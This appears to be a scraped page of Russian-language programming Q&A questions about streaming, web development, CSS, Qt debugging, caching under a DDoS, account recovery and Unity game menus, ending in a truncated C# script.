После нажатия кнопки спуска: фотография должна появиться на компе уже обрезанная нужным образом(+ другими настройками, заданными предварительно, такими как яркость, разрешение и т.д.) с присвоенным к этой фотке серийным номером и отображённым где-нибудь в правом верхнем углу оной, и отдельно штрихкодом, для удобного нахождения товара на складе, и чтобы это всё одним щелчком мыши загружалось в интернет-магазин и 1С одновременно.

Есть ли уже что-то подобное в природе? Есть ли готовое решение или хоть какая-та пошаговая инструкция?

Заранее спасибо!



Чем можно стримить изображение из игры в Flash Media Server?

Ситуация такая: хотим провести небольшой чемпионат по одной компютерной игре — хотим транслировать все это дело онлайн.

Первым в голову пришло такое решение: Flash Media Server + Flash Media Encoder + VHScrenCapture Driver. Все работает сносно, за исключением одного факта: при запуске encoder'a загрузка cpu c2d 3.16 ГГц при 25fps 1280x720, h264, составляет 80-90 процентов. На игру просто ничего не остается.

Хочется стримить хотя бы 720p — иначе это не имеет никакого смысла.

Я понимаю что я наверно много хочу — стримить на лету 720p перекодированное… Но все же, есть ли какие то аналогичные решения? Есть ли какие то решения в которых сервер выступает в роли encoder'a? Вообще, поделитесь опытом если у кого то был такой. Спасибо.

P.S Погуглив все игровые форумы — все стримят в 640 на 480. А те кто больше стримят, у тех уже i5 и i7

Программирование   Видеотрансляция   Adobe   Flash    

420   3   21:06, 1st October, 2020


Веб-дизайн на Западе

Вопрос спорный, но все же мне очень интересно мнение Хабра.

С российским рынком веб-дизайна более-менее ясно. А что на Западе? Какие там веб-дизайн студии считаются крутыми и именитыми? У кого заказывают ребята с жирными кошельками? Производители машин, продуктов массового потребления и т.д.

Да и вообще, какие веб-дизайн студии оттуда нравятся лично вам?

Дизайн   Веб-разработка    

337   6   21:06, 1st October, 2020


Возможность играть PS3 против PC?

Играю уже пару лет в игры купленные через Steam. Товарищ играет на PS3.

Задача: Сразиться в Battlefield: Bad Company 2 между собой.

Реально ли играть на одном сервере с разных платформ?

Разработка   игр   Sony   PlayStation    

592   2   22:18, 2nd October, 2020


Intel Atom и веб-разработка?

Манят лаптопы с процессорами Intel Atom. Манят жутко, прежде всего тишиной, энергопотреблением (продолжительность работы без подзарядки) и портативностью. Но беспокоит вопрос, скажите пожалуйста, если в курсе:

Хватит ли такого компьютера для комфортной работы в вебдеве?


Использую Ubuntu, XFCE и LAMP.


Спасибо!


UPD. Решение: пришел к выводу, что овчинка выделки не стоит. Лучше купить более мощный прибор, так как его использование будет более комфортным и универсальным.


Не имею ничего против Atom, нетбуков и неттопов! Напротив — глубоко симпатизирую им. Обязательно заведу себе и такого зверя, но не для упомянутой задачи. Скорее всего куплю просто планшет, чтобы на диване интернеты читать.

Intel   Веб-разработка    

310   14   12:42, 1st October, 2020


ErWIN пользуетесь ли вы?

Действительно ли серьезные/крупные компании пользуются данной программой?
Пользуетесь лы вы ей?



Нужны рекомендации по построению системы объединенных коммуникаций/сообщений (Unified Communications/Messaging)?

Дано:

Небольшая компания, в которой есть штат разработчиков (Linux) и менеджеров (Windows). Для коммуникации используются: SIP-телефония (аппаратные телефоны, софтофоны), корпоративный Skype, ICQ, E-mail (Google Apps и просто на gmail.com).

Основные проблемы:

— Нет единой истории общения при работе с клиентом

— Отсутствует возможность прозрачно для клиента передать его другому менеджеру

— При возникновении какой-либо проблемы отсутствует возможность быстро передать уже накопленную информации по проблеме от менеджера к разработчику

Что хотим получить

+ Гибко настраиваемую систему: минимум — объединенных сообщений (Unified Messaging), максимум — объединенных коммуникаций (Unified Communications)

+ Очень желательно развертывание системы на базе свободного ПО (Linux)

+ Если система коммерческая – её стоимость должна быть в разумных рамках (порядка $1000 суммарно на 25 пользователей)

+ Решение не должно быть SaaS – все будет размещаться на своих серверах

Прошу рекомендаций по:

1) существующим системам подобного рода

2) если подобные системы, удовлетворяющие моим требованиям вам неизвестны, приведите компоненты, которые можно использовать для сборки данной системы «по частям»

Организация   работы    

391   1   21:06, 1st October, 2020


Софт для визуализации данных?

Делаю курсовую работу, работа скорее гуманитарная, чем техническая.

Одна из самых важных частей в работе визуализация и наглядность результата.

Необходимо представить данные приблизительно таким образом:

Объект-Связь (связи отводится довольно важное место, необходимо подробно указывать каким образом осуществляется связь, возможно добавить, еще какие то косвенные связи)-Объект

Раньше я всегда пользовался ментальными картами (FreeMind, MindManager) в работе, но сейчас это не работает, нужно что то с более расширенным функционалом.

Что то громоздкое типа векторного редактора не совсем подходит, потому что надо гибко кроить схемы.

Результат приблизительно представляю себе так:
www.biblicalstudies.ru/HC/map.jpg

Инфографика   Обработка   данных    

386   5   15:43, 2nd October, 2020


Реализация связей профилей, по типу "How you’re connected" (LinkedIn) и "Сеть связей" (TooDoo)?

Здравствуйте.


Столкнулся с интересной задачей в одном из проектов. Необходимо реализовать модуль с помощью которого можно будет показывать связи между профилями пользователей по аналогии с «How you’re connected» (LinkedIn) и «Сеть связей» (TooDoo).


Проект в стадии моделирования, поэтому необходимо правильно продумать структуру БД.

Возможно кто-нибудь уже сталкивался с подобными вещами и есть какие-нибудь наработки которые можно использовать в качестве примера.


Гугление дало не много информации (не исключено, что плохо искал), а именно одну ссылку с размышлениями по поводу возможных алгоритмов:
stackoverflow.com/questions/4436348/intelligent-we...


Буду рад любой помощи.

Заранее спасибо.

Веб-разработка    

347   1   21:14, 2nd October, 2020


Какие есть популярные движки для создания 3D игр?

Добрый день, хабровчане.


Последнее время все больше и больше вижу в сети клонов игры Lineage 2 (может и не совсем клонов, но геймплей очень близок).


Каким образом удается их штамповать в таком количестве? Есть какой-то готовый движок, который позволяет это делать? Или все эти «разные» игры дело рук одной и той же компании? Насколько это дорого вообще, создать онлайновую 3д игру в жанре RPG?

Разработка   игр    

382   6   14:03, 1st October, 2020


Free Licence изображения для дизайна

Уважаемые, поделитесь ссылками где можно брать изображения которые не облагаются лицензией для использования их в дизайне сайтов. Желательно чтобы было наличие разно тематических изображений. Может вы знакомы с какими-то мало известными но полезными ресурсами.

Дизайн   Фотографии    

350   2   21:06, 1st October, 2020


Автоответчик под Android

Интересует есть ли какое нибудь приложение для системы Android, включающее в себя функцию автоответчика либо сам Автоответчик? Самостоятельно ничего не удалось найти в маркете.

Android   Автоответчик    

344   4   17:57, 2nd October, 2020


Авторизация Вконтакте cURL

Используем эту соцсеть для хранения видео.

Написан парсер, который по крону забирал новые видео. Но вот проблема, команда ВК ввела новые политики безопасности. Теперь при попытке авторизоваться из новой страны (а сервер у нас где-то на территории Германии) ВК спрашивает последние цифры номера телефона и скрипт не может авторизоваться.

Покапался, увидел интересные строчки

var params = {act: 'security_check', code: ge('code').value, to: 'dmlkZW9xMTMfsMzE4NTk2', al_page: '', hash: 'a74cb4bc5b0a579a28'};
ajax.post('login.php', params, {....

Пробовал отправить, все тщетно. Проблема осложняется тем что невозможно произвести это действие и посмотреть что куда отправляется.

Может быть есть такие же бедалаги? Кто-нибудь что-нибудь подобное делал?



Проблема с отладкой консольных приложений в Qt Creator

Создаю простейшее консольное приложение в Qt Creator:
#include <iostream>

int main(int argc, char *argv[])

{

    int n;

    std::cin >> n;

    return 0;

}


Ставлю брейкпоинт на строчку с std::cin. Запускаю отладку по F5. Убедившись, что отладчик остановился на указанной строке, нажимаю F10. После этого ничего не происходит, а в консоли приложения можно увидеть следующее сообщение: &«warning: GDB: Failed to set controlling terminal: Invalid argument\n». При попытке прервать отладку, вылезает окно с ошибкой: «Процесс gdb неожиданно завершился (авариный выход)». При последующих попытках запуска отладки появляются следующие ошибки: «The program is not being run», а при завершении отладки: «Возникла ошибка при отправке данных процессу Gdb. Например, процесс может уже не работать или он мог закрыть свой входной канал». При всех этих манипуляциях, отлаживаемый процесс продолжает висеть в списке процессов. Проблема наблюдается в 32-битных Ubuntu 10.10 и Windows 7. При разработке UI приложений такой проблемы нет.
Подскажите, пожалуйста, что это может быть и как с этим бороться?

Мобильная   разработка   Qt   Отладка    

494   1   15:18, 1st October, 2020


Где взять хорошую контактную форму для сайта на русском языке?

Хочу что-нибудь элементарное, подключаемое к сайту в виде iframe-кода или JS-виджета. Ввел имя, почту, отзыв и жмакнул на Отправить. Есть вообще что-нибудь такое?

Веб-разработка    

355   4   01:47, 2nd October, 2020


Cross Domain XmlHttpRequest

Добрый день, друзья.

Целый день сегодня мучаюсь с вышеозначенной темой. Изначальная задача:
Выполняясь на site.com отправить POST запрос (даже ответ не обязательно получать) на xxx.site.com. В крайнем случае готов ограничиться браузером Google Chrome.

Казалось бы, задача уже не нова, написана куча материалов на тему, но что-то ничего не срабатывает…

Итак, что я уже попробовал:
  1. подменить document.domain перед отправкой. Как оказалось, менять с xxx.site.com на site.com можно, а вот обратно — никак...
  2. создать iframe с src=«xxx.site.com», а затем внутри него добавить в дом модель тег script, который будет содержать в себе логику по отправлению XmlHttpRequest. И вот этот вариант уже почти-почти сработал, как по непонятным мне причинам xhr.readystatechange вызывается один раз и readyState=1… Код примерно такой:
    var iframe = $('<iframe src=«xxx.site.com» style=«display:none;»></iframe>').appendTo(document.body);
      var iDoc = iframe.get(0).contentDocument;
      var script = iDoc.createElement(«script»);
      script.setAttribute(«type», «text/javascript»);
      script.innerHTML =
          «function postIt() {» +
          «var xhr = new XMLHttpRequest();» +
          «xhr.onreadystatechange = function(data) {» +
              «alert(xhr.readyState);» +
          «if (xhr.readyState == 4) {» +
          "    if (xhr.status == 200) {" +
          "     alert(data.toString());" +
          "    } else {" +
          "     alert(xhr.error);" +
          "    }" +
          "}};" +

          «var url = \»xxx.site.com\";" +

          «var postParams = \»a=1&b=1\"" +

          «xhr.open(\»POST\", url, true);" +
          «xhr.setRequestHeader(\»Content-Type\", \«application/x-www-form-urlencoded;\»);" +
          «xhr.send(postParams);» +
        "}" +

        «postIt();»;

      iDoc.body.appendChild(script);


    * This source code was highlighted with Source Code Highlighter.

  3. Также рассмотрел способ с YQL — не подошло

Какие есть еще идеи как это побороть?

JavaScript   Защита   от   взлома    

451   8   07:27, 1st October, 2020


Разработка портала, реализация собственного API для работы с БД?

Всем привет.


В предстоящие несколько месяцев мне предстоит разработать портал по недвижимости. Он будет состоять из нескольких сайтов с единой базой объектов, тут возникла идея, что если вынести эту базу отдельно от баз CMS и сделать небольшой API для запросов к серверу базы как AJAX так и просто от сервера по HTTP. Поскольку опыта создания такого рода проектов у меня нет хотелось бы обсудить это с теми у кого он есть и узнать о каких-либо узких местах и трудностях заранее, так сказать на этапе проектирования. И так вопрос, даже вопросы.


Что касается ПО то все стандартно. php 5.2 + mysql + apache2 + nginx + memcached на debian.

Железка: Intel Cored 2 Duo 2660МГц 2Гб DDR2 1ТБ на винте.

  1. Оправдано такое решение (выносить базу) добавлю еще то что возможно в последствии нужно будет организовать доступ к базе сторонних организаций (их сайтов точнее)
  2. может быть не стоит использовать MySQL?
  3. есть ли какие-либо сложности в защите такой базы и соединений к ней?



Всем кто откликнется спасибо, буду рад любым советам и размышлением на этот счет.

Веб-разработка    

296   4   21:06, 1st October, 2020


Подскажите систему для коллективной работы

Господа!

Подскажите пожалуйста онлайн сервис для организации работы команды, где будут наличествовать такие функции:

1. Возможность ставить задачи другим людям с настройками приватности (кто может видеть эту задачу для этого человека).
2. Контролировать итог работы (итог в виде текстового отчёта), возможность вносить в отчёт правки.
3. Стенка или информационное табло (не знаю как назвать) на котором можно будет публиковать информацию доступную всем участникам команды, с возможностью комментировать.
4. Оповещение о изменениях (новые задания, правки, одобрение, новости) на почту.
5. Более понятный интерфейс чем на RTM
6. Древовидная структура проекта и задач.
7. Возможность во всех публикациях использовать картинки.
8. Чат был бы идеален.
9. Бесплатность.:)

Подскажите что-нибудь похожее на это, заранее благодарствую :)

Управление   временем   Организация   работы    

389   7   00:49, 1st October, 2020


Выбор фотоаппарата до 7000р

Помогите с выбором фотоаппарата.
Надо чтобы было приемлимое качество фотографий при не очень хорошем освещении, и что-то вроде Nikon L110 Деньги ограничены строго 7000р.

Фотографии   Nikon   Фотоаппараты    

313   7   21:06, 1st October, 2020


Чем заняться, когда сломана правая рука?

Я уверен, что этот вопрос точно войдет в ТОП100 самых глупых вопросов на Хабре, но все же задам… Кто из тех, кто более 8 часов в день проводит за компом, сталкивался с этой проблемой, как убивали освободившееся время?

Организация   работы    

1144   23   12:49, 2nd October, 2020


Есть ли скрипт по моментальному превращению сайта в ч/б?

Вот есть у вас сайт. Красочный. И чтобы показать посетителям, что они теряют, если убрать все краски с сайта, нужна кнопка, переключающая без перезагрузки всю страницу в ч/б. Это вообще реализуемо? При условии динамических картинок, шрифтов и фонов в css, и много другого.

Работа   с   цветом   Веб-разработка    

284   4   21:06, 1st October, 2020


DDoS — как уменьшить нагрузку на php?

Задача


Недавно спрашивал о настройке кеша на php. Нужно это было, чтоб уменьшить нагрузку на MySQL, т.к. идет DDoS на сайте (по 40к коннектов за раз).

На скорую руку сделал этот кэш. При первом заходе на страничку c ID = 1500 — берет её из БД, кидает копию страницы на хард под именем 1500.html. Сверху в коде стоит проверка — если существует файл 1500.html, делает

include('cache/ID.html');
die();


Нагрузка на MySQL дейтвительно упала, но теперь в топе куча процессов php-cgi с большим процентом нагрузки. Соответственно, сайт лежит.

P.S. Фильтрами на уровне ОС от ддос отбиться не получается. Какой-то там хитрый ддос.

Вопрос


Я так понимаю, php парсит index.php и отсюда идет нагрузка. Может я как-то не так разместил проверку на существование файла 1500.html?

Как лучше сделать, чтоб при наличии кеша странички на харде была минимальная нагрузка на php?

PHP   Защита   от   DDoS    

429   10   11:28, 2nd October, 2020


CSS: Вертикальное выравнивание текстов в двух последовательных DIV'ах по единому baseline

Возникла задача, которая медленно, но уверенно выносит мне мозг.

Сразу дам ссылку на пример в песочнице

Есть контейнер, в котором расположены 3 DIV'а (float: left/left/right), в которых находятся по несколько inline'овых элементов (span, label, select, a). Пока кегль шрифта у всех элементов одинаковый, они прекрасно позиционируются вертикально относительно друг друга. Но если где-нибудь увеличить кегль, то они начинают разваливаться вертикально, так как теряется общая baseline.


Всякие ухищрения с line-height, vertical align не дают ощутимого результата. Я вижу несколько решений, но ни одно из них не блещет красотой:
— абсолютное позиционирование по вертикали, — получается очень хрупкая конструкция, которая разваливается при изменнии любых шрифтовых параметров (кегль, гарнитура, ...), а так-же подвержена настройкам системы и браузера;
— подбор численных значений в vertical-align, — аналогичные проблеммы;
— отказ от 3-х DIV'ов внутри контейнера, — четко найдется baseline, но будут проблеммы с горизонтальным позиционированием блоков и расширяемостью (интерфейс предусматривает возможность скиннизации).

На повестке 2 вопроса:
1. Можно ли в данном случае, не меняя структуры, «подсказать» браузеру общий baseline для этих 3-х DIV'ов?
2. Как можно решить задачу с максимальной поддержкой семантичности и минимальными потерями дальнейшей расширяемости и кастомизации?

CSS   Веб-разработка    

248   4   03:45, 1st October, 2020


Сравнение схожести двух изображений?

Здравствуйте коллеги!

С computer vision особенно никогда не сталкивался, но возникла несложная, на первый вгляд задача.


Есть камера, делающая снимок периодичностью, скажем раз в минуту и складывающая его на сервер.


Хотелось бы чтобы на сервере висел процесс, который просматривает заданную директорию и при появлении нового снимка — сравнивает его с предыдущим. Если на снимке произошли более-менее значительные изменения — выполнить что-то.


Теперь загвоздка, как определить произошли ли изменения на снимке? Точно по пикселям считать — не вариант. Меня не интересует немного свинувшаяся ветка дерева. А вот например человек, проходящий недалеко от камер — интересен. Или машина, припарковавшаяся в полез зрения камеры. То есть хочется реагировать только на изменение более-менее крупных объектов.


Собственно как лучше всего будет рассчитывать подобные изменения, с учетом некоторой погрешности?

Обработка   изображений   CAD/CAM    

333   3   13:13, 2nd October, 2020


Трансляция ТВ в сеть?

Здравствуйте.

Подскажите, как можно реализовать трансляцию телевизионных каналов на сайте?


Пример: zombobox.com

Насколько я понимаю нужен тв тюнер.

Есть ли где-то подробная информация про это.

Видеотрансляция   Телевидение    

344   6   07:46, 1st October, 2020


Схема устройства

У меня есть идея устройства. Где можно заказать разработку принципиальной схемы, ну и вообще всего необходимого пакета документации, чтобы потом можно было запустить в производство?

Схемотехника    

300   3   20:16, 1st October, 2020


Форма обратной связи для сайта?

Нужна простая форма с парой полей, чтобы человек заполнил и оно упало либо на почту, либо в админку сервиса предоставившего форму. Да я понимаю что самому написать дело пары минут, но есть пару сайтов в виде статики из html и возиться не особо хочется, хочется вставить js и чтобы работало.

После долгого гугления нашел wufoo.com, идеально подходит, но 15$ за форму дороговато.

Веб-разработка    

275   6   19:01, 2nd October, 2020


Должен ли ClassLoader быть thread-safe? Имеет ли смысл кешировать загруженные классы?

В Java есть такая штука как ClassLoader's, но метод defineClass() в нем не синхронизированный, так же как и методы findClass() и loadClass(), что странно, так как разные потоки вполне могут обращаться к этим методам одновременно, что чревато повторной загрузкой например.


Стоит ли делать кастомный загрузчик thread-safe?

И, как мне кажется с этим должно быть тесно связано: Стоит ли делать кастомный загрузчик кешируюущим, если загрузка класса — длительный процесс?

Oracle   Java   Многопоточность    

368   1   16:48, 2nd October, 2020


Best practices .Net web apps для новичка

Коллеги, в головном офисе произошла революция и нас постфактум поставили перед перспективой перехода на .Net (до этого на всех проектах включая последний использовали LAMP).

Инициатором является вновь введенный в команду друг исполнительного директора и факт перехода на новую платформу можно назвать свершившимся.

Я посмотрел на тот код что успели написать и пришел в ужас. Я конечно очень слабо знаком с .Net но все то что написано похоже на «aspx спагетти». Если честно я очень ожидал увидеть хотя бы .Net MVC, от человека с 2мя сертификатами microsoft.

В связи с этим хотелось бы обратиться к сообществу с вопросом: какие сейчас наиболее ходовые или проверенные практики в разработке .Net web apps? .Net MVC к ним относится?

p.s. если знаете полезные ссылки на хабре, буду тем более благодарен.

G   Suite   Мобильная   разработка   .NET    

400   4   21:06, 1st October, 2020


Автоматизированное удаление шумов в аудиозаписях

Звуковая запись(небольшой длительности) конференции сохраняется каждые n минут в файл. В файлах довольно много шума. Мне необходимо написать программу для автоматизированного удаления шумов.
Гуглил в сторону обработки звука в java используя sound api, но ничего адекватного не нашел.
Что посоветуете для реализации подобного на java или python?

Обработка   звука    

373   1   16:27, 1st October, 2020


Заказчик требует компенсации простоя в работе?

Добрый день. Возникла такая ситуация:

Делаю b2b систему. По определенным причинам сроки были ужасно затянуты, и заказщик требовал немедленного запуска проекта. На мои убеждения, что сейчас запускать рано и что надо провести качественное тестирование продукта не реагировал. Пришлось запускать.

В итоге: вчера пользователи споткнулись о неприятный баг, и работа сервиса встала до сегодняшнего вечера. Сейчас заказщик требует компенсировать простой в работе.

Что делать в данной ситуации?

Организация   работы    

341   3   21:06, 1st October, 2020


Что выбрать: ставить или не ставить слэш на конце URL?

elfchat.ru/ru/signup
elfchat.ru/ru/signup/
Знаю что вопрос простой: нужно просто выбрать, но я почему то не могу. Мечусь из стороны в сторону. Прошу помощи!


PS elfchat.ru/ru/signup.html

Веб-разработка    

539   16   21:06, 1st October, 2020


Система электронного документооборота для допиливания

Вопрос к хабру имеет отношение довольно косвенное, но может быть кто сталкивался.

Интересует опенсорс система электронного документооборота, а если быть точным, Records Management, с минимальным функционалом (архив документов, поиск по клиентам, датам, номерам и т.п.), дабы ее допилить под свои нужды. Вещи вроде Alfresco слишком универсальные, от них придется очень многое отрывать. В общем, нужно самое простое, что есть, только опенсорс.

Заранее спасибо.

Документооборот   Open   Source    

303   2   05:19, 2nd October, 2020


Работа с изображениями в C++?

Приветствую всех! Мне необходим совет по работе с изображениями в С++. Имеется изображение, допустим, 100x100. Мне необходимо получить двумерный массив, в каждой ячейке которого будет содержаться яркость пикселя (в моем случае R = G = B = яркость, от 0 до 255). После того, как я произведу сглаживание по заданному алгоритму, мне нужно записать результат в выходной файл.


Собственно, в какую сторону копать? Судя по всему, мне нужна самая простая библиотека для работы с изображениями, которая позволит получить яркость пикселя, создать новое изображение и записать его в отдельный файл.


P.S. Планирую обойтись консольным приложением, скомпилированным с помощью MinGW. Но если есть намного более простые варианты выполнения моей задачи — пожалуйста, отметьте.

C++   Обработка   изображений    

327   5   21:06, 1st October, 2020


При использовании Connectify перестает работать Стрим

Привет. Решил я из компьютера создать точку доступа wi-fi. Скачал для этого программу connectify. И после ее установки перестало подключаться ADSL. Пишет — модем вернул ошибку. Удалил connectify — все заработало. Почему?

Wi-Fi   Видеотрансляция    

254   1   21:06, 1st October, 2020


Что делать если взломали E-mail

У моего друга взломали E-mail (GMail) и заблокировали доступ к нему.
Есть конкретный подозреваемый (исполнитель или заказчик) человек.

Хотелось бы у вас спросить совета, каким образом можно восстановить доступ к почте? Куда нужно обращаться? Обязательно ли ехать в офис российского Гугл? Какой алгоритм действий по восстановлению контроля?

А во-вторых, под какие статьи УК РФ попадают данные деяния? Что нужно сделать для возбуждения уголовного дела и что необходимо для того, чтобы доказаться причастность подозреваемого к совершению данного преступления?

Заранее премного благодарен за советы!

Gmail   Защита   от   взлома   Восстановление   данных    

302   3   19:06, 1st October, 2020


видеотрансляция бильярда на сайт

Добрый день, коллеги!

Помогите советом, пожалуйста. Стоит задача сделать на сайте видеотрансляцию с бильярдного матча.
Условия такие:
— потоковое видео на сайт
— всего будет две камеры над одним столом + микрофон
— необходимо какому-то диджею помимо вещания в микрофон переключать камеры по своему желанию
— Необходимо на итоговую картинку видеопотока размещать счет (ФИО участников и счет)

И собственно возникают вопросы:
— Как в целом выглядет общая схема организации трансляции? камера -> ??? -> сайт
— как поменяются решения по организации потокового видео, если одновременных просмотров видео будет 100 и 500? Можно ли использовать какой-нибудь видехостинг?
— Какие приложения помогут с управлением камерами, наложением счета, управление этим счетом

Видеонаблюдение   Видеотрансляция    

382   5   21:06, 1st October, 2020


Куда класть логи своего приложения в Linux?

Появилась необходимость складирования логов приложения, точнее лог файл один. Подскажите, пожалуйста, куда в Linux принято складывать log файлы? Так, чтобы пользователь ожидал их именно там. Может есть какой-то guide по расположению данных приложения ы Linux? Был бы благодарен за ссылки.

Я пытался положить лог в /var/log но получил пинок от ACL, собственно w туда простому смертному запрещен.


Заранее спасибо!

Linux   Мобильная   разработка   Журналирование    

378   6   13:44, 2nd October, 2020


Система/программа ведения бухгалтерии для небольшого продуктового магазина

Добрый день,
Прошу подсказать систему/программу для ведения бухгалтерии в небольшом продуктовом магазине (овощи/хлеб). Требуется учёт товара, кассы, приход/расход, зарплаты продавцам и т.п. Существуют ли opensource решения (требования же не высокие)? Покупать специализированные программы не вижу смысла + стоимость. Желательно кроссплатформенная система/программа (под linux).
Быть может проще в openoffice calc вести бухгалтерию? В таком случае существуют ли шаблоны, которые можно доработать под свои нужды?
Спасибо.



Программа для ведения архива документов с возможностью поиска

Я — юрист. Из интернета и из справочных правовых систем постоянно приходится скачивать нормативно-правовые акты и судебную практику. Необходим способ как-то систематизировать накапивающуюся информацию. Хотелось бы иметь возможность категоризации документов (а еще лучше — возможность использования тегов) и удобный поиск (чтобы создать что-то вроде персональной справочной правовой системы).

Sphinx   Архивация   данных   Документооборот    

347   9   14:32, 20th September, 2020


Синхронизация Android-телефона и Picasa?

Всем привет!

Задался вопросом на эту тему, перерыл маркет, но ничего подходящего не нашел (плохо искал?). Существует ли способ нормальной синхронизации фоток с камеры и моего аккаунта на Пикасе? Соответственно, автоматический, потому что руками я могу все это делать через компьютер. Чтобы я выбрал нужный альбом и в него все сыпалось регулярно. Штатная синхронизация, которая в настройках задается, существует вообще непонятно зачем. Насколько я понял, она лишь показывает все интернет-альбомы в «Галерее».

Google   Android   Синхронизация   данных   Фотографии    

256   1   17:15, 1st October, 2020


Скрипт доски объявлений (php)?

Порекомендуйте пожалуйста php-скрипт доски объявлений.



Нужно:

1) Чтобы можно было хорошо структурировать разделы

2) Обязательно добавлять фотографии к объявлению

3) Не перегруженный функциями

4) Невысокая нагрузка на систему



Спасибо.

Веб-разработка    

350   6   11:09, 2nd October, 2020


Викторина на сайте

Всем привет! Появилась задача реализовать викторину на сайте, что-то типа викторины в пиринговых клиентах, бот задаёт вопрос в определённый момент времени, пользователи отвечают, бот выбирает верный и начисляет баллы.
Есть ли уже готовые решения, под php, python, ruby?
Какие подводные камни есть может кто сталкивался?
Спасибо.

Веб-разработка    

322   1   18:34, 1st October, 2020


Что dsu(i) значит в коде "катание на коньках"

Что dsu(i) значит в коде "катание на коньках", как мне объяснить это в блок схеме? 

ссылка на код задания: https://hsecodes.com/index.php/tasksdecision/index/794

готовые задание   катание на коньках    

834   1   18:16, 8th February, 2021


как работать в Visual Studio 2019 с двумя или более разными докуметами (а не с одним)

Как работать в Visual Studio 2019с двумя или более проектами (программами, кодами) одновременно. Задача, получение основ и обучение. было желание запустить в кажной вкладке новую программу (как в браузере новый сайт на новой вкладке, для того чтоб в одной вкладке писать чтстоаой код, а в новую вставлять коды с интернета и пообовать что получится незааисимо от той программы над которой работаю. Как я понял там такого невозможно, открывается только тот же файл в котором работаешь. я в учебниее Майкрософта вычитал что можно создать несколько экземпляров обозреватнля решений, но не пойму как это сделать, он тоже только один всегда.

Нужно для учёбы.



Разработка мобильной кроссплатформенной военной игры

У меня есть код для разработки игры. Я собираюсь ее делать на C# с использованием движка Unity. Предусмотрел все возможные обстоятельства работы игры.

Мне нужна помощь в плане работы с кодом в Unity посредством Visual Studio 2022 потому, что нам сказали использовать эту интегрированную среду разработки, а как все настроить приходится искать в Интернете. Показываю свой код в надежде, что кто-то ответит и подскажет, как его улучшить. Если кого-нибудь заинтересует данная игра, приглашаю к сотрудничеству.

Я настроил Visual Studio 2022 следующим образом: добавил модуль Unity, в Unity Hub создал проект своей игры (название проекта на английском), потом настроил Unity и Visual Studio, чтобы во втором был виден справочник первого. Но у меня не получается настроить Visual Studio под редактирование кодов скриптов Unity.

Еще я не знаю, как сделать логотип и красивые переходы в моей игре.

Еще мне нужна помощь в составлении кода для сюжета игры.

СРОЧНО НУЖЕН ОТВЕТ!!!!!!!!!!!!!!!!!!!!!!!!

using UnityEngine;
using UnityEngine.SceneManagement;
using UnityEngine.UI;
using System.Collections;
using System.Collections.Generic;
using System.Threading.Tasks;
using UnityEngine.Networking;

public class GameStartManager : MonoBehaviour
{
    public GameObject splashScreen;
    public GameObject startScreen;
    public GameObject mainMenu;
    public GameObject settingsMenu;
    public GameObject creditsScreen;
    public GameObject loadingScreen;
    public Slider loadingBar;

    void Start()
    {
        StartCoroutine(ShowSplashScreen());
    }

    IEnumerator ShowSplashScreen()
    {
        splashScreen.SetActive(true);
        startScreen.SetActive(false);
        mainMenu.SetActive(false);
        settingsMenu.SetActive(false);
        creditsScreen.SetActive(false);
        loadingScreen.SetActive(false);

        yield return new WaitForSeconds(3f); // Показать стартовый экран через 3 секунды

        ShowStartScreen();
    }

    public void ShowStartScreen()
    {
        splashScreen.SetActive(false);
        startScreen.SetActive(true);
    }

    public async void StartGame()
    {
        startScreen.SetActive(false);
        mainMenu.SetActive(false);
        settingsMenu.SetActive(false);
        creditsScreen.SetActive(false);
        loadingScreen.SetActive(true);

        await LoadGameSceneAsync();
    }

    private async Task LoadGameSceneAsync()
    {
        AsyncOperation operation = SceneManager.LoadSceneAsync("MainGameScene");
        while (!operation.isDone)
        {
            float progress = Mathf.Clamp01(operation.progress / 0.9f);
            loadingBar.value = progress;
            await Task.Yield();
        }
    }

    public void ShowMainMenu()
    {
        startScreen.SetActive(false);
        mainMenu.SetActive(true);
    }

    public void ShowSettingsMenu()
    {
        mainMenu.SetActive(false);
        settingsMenu.SetActive(true);
    }

    public void ShowCreditsScreen()
    {
        mainMenu.SetActive(false);
        creditsScreen.SetActive(true);
    }

    public void ExitGame()
    {
        Application.Quit();
    }
}

public class UIManager : MonoBehaviour
{
    public Button startButton;
    public Button settingsButton;
    public Button creditsButton;
    public Button exitButton;
    public Button backButton;
    public GameStartManager gameStartManager;

    void Start()
    {
        startButton.onClick.AddListener(gameStartManager.StartGame);
        settingsButton.onClick.AddListener(gameStartManager.ShowSettingsMenu);
        creditsButton.onClick.AddListener(gameStartManager.ShowCreditsScreen);
        exitButton.onClick.AddListener(gameStartManager.ExitGame);
        backButton.onClick.AddListener(gameStartManager.ShowMainMenu);
    }
}

public class ControlSchemeManager : MonoBehaviour
{
    public GameObject pcControls;
    public GameObject mobileControls;
    public GameObject consoleControls;

    void Start()
    {
        DetectDeviceAndSetControls();
    }

    void DetectDeviceAndSetControls()
    {
#if UNITY_STANDALONE || UNITY_WEBGL
        SetPCControls();
#elif UNITY_IOS || UNITY_ANDROID
        SetMobileControls();
#elif UNITY_PS4 || UNITY_XBOXONE
        SetConsoleControls();
#else
        Debug.LogWarning("Unknown platform. Defaulting to PC controls.");
        SetPCControls();
#endif
    }

    void SetPCControls()
    {
        pcControls.SetActive(true);
        mobileControls.SetActive(false);
        consoleControls.SetActive(false);
    }

    void SetMobileControls()
    {
        pcControls.SetActive(false);
        mobileControls.SetActive(true);
        consoleControls.SetActive(false);
    }

    void SetConsoleControls()
    {
        pcControls.SetActive(false);
        mobileControls.SetActive(false);
        consoleControls.SetActive(true);
    }
}

public class PlayerController : MonoBehaviour
{
    public ControlSchemeManager controlSchemeManager;

    void Update()
    {
        if (controlSchemeManager.pcControls.activeSelf)
        {
            HandlePCControls();
        }
        else if (controlSchemeManager.mobileControls.activeSelf)
        {
            HandleMobileControls();
        }
        else if (controlSchemeManager.consoleControls.activeSelf)
        {
            HandleConsoleControls();
        }
    }

    void HandlePCControls()
    {
        // Реализация управления для ПК
    }

    void HandleMobileControls()
    {
        // Реализация управления для мобильных устройств
    }

    void HandleConsoleControls()
    {
        // Реализация управления для консолей
    }
}

public class LanguageManager : MonoBehaviour
{
    public enum Language
    {
        English, Russian, Spanish, French, German, Chinese
    }

    public Language currentLanguage;

    private Dictionary<string, string> englishTexts = new Dictionary<string, string>
    {
        {"startButton", "Start"},
        {"settingsButton", "Settings"},
        {"exitButton", "Exit"},
        {"mainMenu", "Main Menu"},
        {"optionsMenu", "Options"}
    };

    private Dictionary<string, string> currentTexts;

    void Start()
    {
        SetLanguage(currentLanguage);
    }

    public void SetLanguage(Language language)
    {
        currentLanguage = language;
